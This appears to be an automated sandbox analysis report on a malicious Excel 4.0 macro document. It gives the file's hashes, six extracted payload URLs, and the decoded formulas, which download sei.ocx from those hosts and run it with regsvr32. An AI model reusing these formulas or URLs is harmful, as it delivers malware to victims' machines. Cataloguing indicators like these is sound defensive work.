General
-
Target
4639c3832713a5caee4b6757c892cfb7e70bb2f29d85a0209e76e95f9d0efd6e
-
Size
46KB
-
MD5
ae0a98b322192fed9025f339bf201033
-
SHA1
5e13a6b8a5053c51060ac662a661f4c7dfaa508d
-
SHA256
4639c3832713a5caee4b6757c892cfb7e70bb2f29d85a0209e76e95f9d0efd6e
-
SHA512
86dd221444c0bbcddf8a2b9ce68d6cc92b72f6a4db6b69fceb9eabcec94392c280623ff3245271552a9192f197ba2c828b8c105f552a55f82dee24da5acd007d
-
SSDEEP
768:Xb1o2ODOevZCwrvtbzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VfPst2:Xb1o1D/tT5fTR4Lh1NisFYBc3cr+UqVX
Malware Config
Extracted
http://splitmon.com/mdbt/I3kw1HNHPchicDI/
http://www.dancesportnation.com/wp-content/4Ac8YZEIIV/
http://www.beholdpublications.com/home/Bnn6j/
http://spbtorg.com/vzgsz/uq4fosqbjwAM5rnw5m/
http://explorationit.com/screwing/KxxgEpfAvBsXjmQ/
http://vipwatchpay.com/Isoetales/0LYzkIW/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://splitmon.com/mdbt/I3kw1HNHPchicDI/","..\sei.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.dancesportnation.com/wp-content/4Ac8YZEIIV/","..\sei.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.beholdpublications.com/home/Bnn6j/","..\sei.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://spbtorg.com/vzgsz/uq4fosqbjwAM5rnw5m/","..\sei.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://explorationit.com/screwing/KxxgEpfAvBsXjmQ/","..\sei.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://vipwatchpay.com/Isoetales/0LYzkIW/","..\sei.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\sei.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
4639c3832713a5caee4b6757c892cfb7e70bb2f29d85a0209e76e95f9d0efd6e